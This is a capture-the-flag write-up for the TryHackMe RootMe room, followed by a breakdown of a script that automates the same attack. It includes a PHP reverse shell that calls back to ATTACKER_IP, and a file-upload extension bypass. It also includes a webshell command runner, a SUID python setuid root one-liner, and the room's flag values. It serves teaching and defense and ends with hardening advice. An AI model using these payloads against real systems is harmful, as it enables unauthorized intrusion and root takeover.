Overview
RootMe is a beginner-friendly CTF challenge that tests fundamental web exploitation and Linux privilege escalation skills. The attack chain involves:
- Reconnaissance and service enumeration
- Web directory brute-forcing
- File upload filter bypass to gain a reverse shell
- SUID binary abuse for privilege escalation
Automation Available
I've created a full automation script (rootmeautopwn) that performs the entire exploitation chain automatically. The script is available in my CTFS GitHub repository.
Skip to: Automation Script Breakdown to see how it works, or continue reading for the manual walkthrough.
Table of Contents
- Manual Exploitation:
- Automation:
- Analysis:
Phase 1: Reconnaissance
Port Scanning & Service Detection
nmap -sV -sC -p 80,443,8080 10.49.170.219
Results:
| Port | State | Service | Version |
|---|---|---|---|
| 80 | open | http | Apache httpd 2.4.41 (Ubuntu) |
| 443 | closed | https | - |
| 8080 | closed | http-proxy | - |
Key Findings:
- Apache Version: 2.4.41 (Ubuntu)
- PHP is running (PHPSESSID cookie detected)
- Site title: "HackIT - Home" with prompt "Can you root me?"
HTTP Header Confirmation
curl -sI http://10.49.170.219/
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=...; path=/
Content-Type: text/html; charset=UTF-8
Answer: The Apache version running is 2.4.41
Phase 2: Directory Enumeration
Gobuster Scan
gobuster dir -u http://10.49.170.219/ \
-w /usr/share/dirb/wordlists/common.txt \
-t 10 --timeout 60s
| Path | Status | Description |
|---|---|---|
| /index.php | 200 | Main page |
| /css | 301 | Stylesheet directory |
| /js | 301 | JavaScript directory |
| /panel | 301 | Upload panel (hidden directory!) |
| /uploads | 301 | Uploaded files directory |
| /server-status | 403 | Forbidden |
Answer: The hidden directory is /panel/
Phase 3: Exploitation — File Upload Bypass
Discovering the Upload Form
Navigating to http://10.49.170.219/panel/ reveals a file upload form:
<form action="" method="POST" enctype="multipart/form-data">
<input type="file" name="fileUpload" class="fileUpload">
<input type="submit" value="Upload" name="submit">
</form>
Testing the Filter
Attempting to upload a .php file returns:
PHP não é permitido!
Translation: "PHP is not allowed!" — The server blocks .php extensions.
Bypass Strategy
The filter only checks for the .php extension. Alternative PHP extensions that Apache will still execute:
.php5(used successfully) ✅.phtml.php3,.php4.phps
Crafting the Reverse Shell
Created a PHP reverse shell saved as shell.php5:
<?php
set_time_limit(0);
$ip = 'ATTACKER_IP';
$port = 4444;
$shell = 'uname -a; w; id; /bin/bash -i';
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($shell, $descriptorspec, $pipes);
?>
Upload & Execution
# Upload the shell
curl -X POST -F "fileUpload=@shell.php5" \
-F "submit=Upload" http://10.49.170.219/panel/
# Response: "O arquivo foi upado com sucesso!"
# Start listener
nc -lvnp 4444
# Trigger the shell
curl http://10.49.170.219/uploads/shell.php5
Result: Reverse shell received as www-data
User Flag
cat /var/www/user.txt
Phase 4: Privilege Escalation
SUID Binary Enumeration
find / -perm -4000 -type f 2>/dev/null
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python2.7 <-- UNUSUAL!
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
Answer: The weird SUID file is /usr/bin/python2.7
Why is python2.7 SUID Dangerous?
Python with the SUID bit set allows any user to execute Python code with root privileges. This is a critical misconfiguration because Python can directly manipulate process UIDs via the os module.
Reference: GTFOBins — Python SUID
Exploitation
python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
This:
os.setuid(0)— Sets effective UID to root, works because SUID makes the process run as file owner (root)os.system("/bin/bash")— Spawns a root shell
Verification
id
# uid=0(root) gid=33(www-data) groups=33(www-data)
Root Flag
cat /root/root.txt
Attack Chain Summary
Manual vs Automated
| Method | Time | Commands | Best For |
|---|---|---|---|
| Manual | ~15-30 min | 20+ | Learning, understanding the attack flow |
| Automated | ~2-5 min | 1 | Speed, repeatability, portfolio demonstration |
Flags Captured
| Flag | Location | Value |
|---|---|---|
| user.txt | /var/www/user.txt | THM{y0u_g0t_a_sh3ll} |
| root.txt | /root/root.txt | THM{pr1v1l3g3_3sc4l4t10n} |
Automation Script Breakdown
For efficiency and repeatability, I automated the entire RootMe exploitation chain into a single bash script. This section breaks down how the automation works — perfect for beginners who want to understand the connection between manual exploitation steps and scripting.
Why Automate CTFs?
- Learning: Writing automation forces you to understand the exploit chain deeply
- Speed: Re-pwn the box in seconds if the instance resets
- Portfolio: Demonstrates scripting and automation skills to employers
- Practice: Build tools that work across similar challenges
How the Script Works
The rootmeautopwn script mirrors the manual exploitation process but runs end-to-end without human intervention:
Script Architecture
Download: rootmeautopwn on GitHub
The script is organized into discrete phases that can fail gracefully. If directory enumeration doesn't find /panel/, the script tries a manual curl check before giving up. If all upload extensions fail, it reports the failure and stops.
1. Dependency Auto-Installation
check_deps() {
local missing=()
for tool in nmap gobuster curl nc; do
if ! command -v "$tool" &>/dev/null; then
missing+=("$tool")
fi
done
if [ ${#missing[@]} -ne 0 ]; then
if [ -f /etc/arch-release ]; then
sudo pacman -S --noconfirm "${missing[@]}"
elif [ -f /etc/debian_version ]; then
sudo apt-get install -y "${missing[@]}"
fi
fi
}
Checks if nmap, gobuster, curl, and nc are installed. Auto-installs via pacman (Arch) or apt (Debian/Ubuntu). Eliminates "command not found" errors — portable across distros.
2. Network Interface Auto-Detection
get_config() {
LHOST=$(ip addr show tun0 2>/dev/null | \
grep "inet " | awk '{print $2}' | cut -d/ -f1)
if [ -z "$LHOST" ]; then
LHOST=$(ip route get 1.1.1.1 2>/dev/null | \
awk '{print $7; exit}')
fi
echo -e "[*] Detected LHOST: $LHOST"
read -rp "[?] Use this IP? (y/n): " confirm
}
Auto-detects your VPN IP from tun0 (TryHackMe OpenVPN), falls back to default route. No more manual ifconfig lookups.
3. Upload Filter Bypass Loop
phase_exploit() {
local extensions=("php5" "phtml" "php4" "php3" "phps")
for ext in "${extensions[@]}"; do
local test_name="test_$(head -c 4 /dev/urandom | xxd -p).$ext"
local response=$(curl -s -X POST \
-F "fileUpload=@$webshell;filename=$test_name" \
-F "submit=Upload" \
"http://$TARGET/panel/")
if echo "$response" | grep -qi "sucesso\|success"; then
local exec_test=$(curl -s \
"http://$TARGET/uploads/$test_name?cmd=echo+EXEC_OK")
if echo "$exec_test" | grep -q "EXEC_OK"; then
echo "[+] Code execution confirmed with .$ext"
break
fi
fi
done
}
Iterates through 5 PHP extensions until one bypasses the filter. Tests code execution immediately after each upload. Random filenames (test_a3f8b2c1.php5) prevent collisions on re-runs.
4. SUID Auto-Exploitation
phase_flags() {
local suid_list=$(exec_cmd \
"find /usr/bin -perm -4000 -type f 2>/dev/null")
local weird=$(echo "$suid_list" | \
grep -E "python|perl|ruby" | head -1)
if echo "$weird" | grep -q "python"; then
root_flag=$(exec_cmd \
"$weird -c 'import os;os.setuid(0);os.system(\"cat /root/root.txt\")'")
elif echo "$weird" | grep -q "perl"; then
root_flag=$(exec_cmd \
"$weird -e 'use POSIX;setuid(0);exec(\"cat /root/root.txt\")'")
fi
}
Finds SUID binaries, filters for exploitable interpreters, and runs the correct GTFOBins payload automatically.
5. Webshell Command Executor
exec_cmd() {
local cmd="$1"
local encoded=$(python3 -c \
"import urllib.parse; print(urllib.parse.quote('$cmd'))")
curl -s "$SHELL_URL?cmd=$encoded"
}
URL-encodes every command and sends it to the webshell. Handles spaces, special characters, and quotes transparently.
Running the Script
# Clone the repo
git clone https://github.com/0xb0rn3/CTFS.git
cd CTFS/THM/rootmeCTF
# Make executable & run
chmod +x rootmeautopwn
./rootmeautopwn
[?] Enter target IP:
>> 10.10.x.x
[*] Detected LHOST: 10.8.x.x
[?] Use this IP for reverse shell? (y/n):
>> y
[?] Listener port (default 4444):
>>
[!] Ready to pwn 10.10.x.x. Proceed? (y/n):
>> y
Output Artifacts
Everything is saved to a timestamped directory rootme_pwn_YYYYMMDD_HHMMSS/:
| File | Contents | Use Case |
|---|---|---|
| nmap_scan.txt | nmap greppable output | Reference scan results later |
| gobuster_results.txt | Directory enumeration | Verify all discovered paths |
| suid_binaries.txt | Full SUID binary list | Audit for other privesc paths |
| webshell_url.txt | Active webshell URL | Manual interaction if needed |
| flags.txt | Both user.txt and root.txt | Submit to TryHackMe |
Learning from the Automation
Beginner Tips
- Don't just run it blind: Read through the script first, understand what each phase does
- Compare to manual steps: Notice how
phase_exploit()mirrors the manual upload bypass - Experiment: Add more upload extensions, try different SUID payloads
- Debug mode: Add
set -xat the top to see every command - Adapt it: Use as a template for other rooms with similar attack chains
Common Issues & Fixes
| Error | Cause | Fix |
|---|---|---|
| "No wordlist found" | SecLists not installed | Script auto-generates minimal wordlist |
| "LHOST detection failed" | VPN not connected | Connect to TryHackMe VPN first |
| "All upload bypass failed" | Room config changed or wrong target | Verify target IP, check /panel/ manually |
| "SUID not found" | Script only checks /usr/bin | Expand search to /bin /usr/local/bin |
Lessons Learned
- Never rely on extension-based file upload filtering alone. Blacklisting
.phpis easily bypassed with alternative extensions. Use allowlisting and validate file content/MIME types instead. - SUID binaries should be audited regularly. Tools like
find / -perm -4000reveal dangerous misconfigurations. Interpreters should never have SUID set. - Principle of least privilege matters. The web server running as
www-datawith upload access combined with SUID python created a direct path from anonymous web access to root. - Defense recommendations:
- Implement allowlist-based upload filtering (only
.jpg,.png, etc.) - Validate file content with magic bytes, not just extensions
- Remove SUID bit from interpreters:
chmod u-s /usr/bin/python2.7 - Use AppArmor/SELinux to restrict web server capabilities
- Store uploads outside the webroot or disable PHP execution in upload directories
- Implement allowlist-based upload filtering (only
Tools Used
| Tool | Purpose |
|---|---|
| nmap | Port scanning & service detection |
| gobuster | Directory brute-forcing |
| curl | HTTP requests & file upload |
| nc | Reverse shell listener |
| python2.7 | SUID privilege escalation |
| rootmeautopwn | Full automation script (all phases) |
Script Repository
The automation script and other CTF tools are available in my CTFS GitHub repository. Contributions and improvements welcome!